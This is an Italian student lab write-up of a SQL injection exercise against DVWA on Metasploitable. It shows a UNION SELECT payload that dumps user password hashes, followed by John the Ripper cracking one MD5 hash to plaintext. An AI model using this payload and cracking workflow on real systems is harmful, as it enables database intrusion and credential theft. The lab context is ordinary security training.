

Modulo 4
Compito 1

Web Application Exploit SQLi

Nel primo esercizio ci veniva richiesto di trovare la password dell'utente Pablo Picasso e di mostrarla in chiaro.

Per prima cosa procediamo a configurare il nostro laboratorio virtuale.

Requisiti:

kali: 192.168.1.100

Metasploitable: 192.168.1.150

DVWA:low

Una volta configurato il laboratorio andiamo a verificare che le macchine si vedano in rete.

Ping da Kali → Metasploitable

```
(kali@kali)-[~]
$ ping 192.168.13.150
PING 192.168.13.150 (192.168.13.150) 56(84) bytes of data:
64 bytes from 192.168.13.150: icmp_seq=1 ttl=64 time=3.75 ms
64 bytes from 192.168.13.150: icmp_seq=2 ttl=64 time=2.10 ms
64 bytes from 192.168.13.150: icmp_seq=3 ttl=64 time=1.75 ms
^C
--- 192.168.13.150 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2008ms
rtt min/avg/max/mdev = 1.751/2.535/3.754/0.873 ms
```

Ping da Metasploitable → Kali

```
msfadmin@metasploitable:~$ ping 192.168.13.100
PING 192.168.13.100 (192.168.13.100) 56(84) bytes of data:
64 bytes from 192.168.13.100: icmp_seq=1 ttl=64 time=1.80 ms
64 bytes from 192.168.13.100: icmp_seq=2 ttl=64 time=1.36 ms
64 bytes from 192.168.13.100: icmp_seq=3 ttl=64 time=1.64 ms
64 bytes from 192.168.13.100: icmp_seq=4 ttl=64 time=1.76 ms
--- 192.168.13.100 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3017ms
rtt min/avg/max/mdev = 1.360/1.645/1.806/0.181 ms
msfadmin@metasploitable:~$
```

Adesso procediamo a collegarci alla DVWA e ad impostare la sicurezza su low.

DVWA Security

Script Security

Security Level is currently **low**.

You can set the security level to low, medium or high.

The security level changes the vulnerability level of DVWA.

low

Submit

Ora che il nostro laboratorio è configurato correttamente possiamo procedere all'esecuzione dell'esercizio. Per prima cosa ci spostiamo nella DVWA sotto la voce SQL Injection e andiamo a lanciare la seguente stringa:

1' UNION SELECT last_name,password FROM users#

Che ci darà come risultato tutti i cognomi e password degli utenti.

User ID:

```
ID: 1' UNION SELECT last_name,password FROM users#
First name: admin
Surname: admin

ID: 1' UNION SELECT last_name,password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT last_name,password FROM users#
First name: Brown
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT last_name,password FROM users#
First name: Me
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT last_name,password FROM users#
First name: Picasso
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT last_name,password FROM users#
First name: Smith
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

Facendo riferimento a quello richiesto dall'esercizio noi dovremo andare a leggere in chiaro la password di Pablo Picasso, la quale è nascosta con una crittografia MD5.

Spostiamo le informazioni su un file .txt e andiamo ad avviare il nostro tool di Cracking John The Ripper.

```
(kali@kali)-[~]
$ cat picasso.txt
Picasso:0d107d09f5bbe40cade3de5c71e9e9b7
```

Avviando il tool JtR dovremo andare a definire alcuni parametri per avviare il cracking:

- Il file da cui dovrà accedere alle hash per decifrare le password in chiaro; (**--wordlist=rockyou.txt**)
- La tipologia di crittografia della password;(**--format=Raw-MD5**)
- L'indirizzo del file in cui abbiamo inserito i nostri dati; (**/home/kali/picasso.txt**)

Assegnati questi parametri possiamo andare a lanciare il Tool per vedere cosa ci risponde.

```
(kali@kali)-[/usr/share/wordlists]
$ john --wordlist=rockyou.txt --format=Raw-MD5 /home/kali/picasso.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 SSE2 4x3])
No password hashes left to crack (see FAQ)
```

Come possiamo verificare John ha trovato la password criptata e andando a lanciare il comando: **John --show** possiamo anche andare a leggerla in chiaro a schermo.

```
(kali@kali)-[/usr/share/wordlists]
$ john --show --format=Raw-MD5 /home/kali/picasso.txt
Picasso:letmein

1 password hash cracked, 0 left
```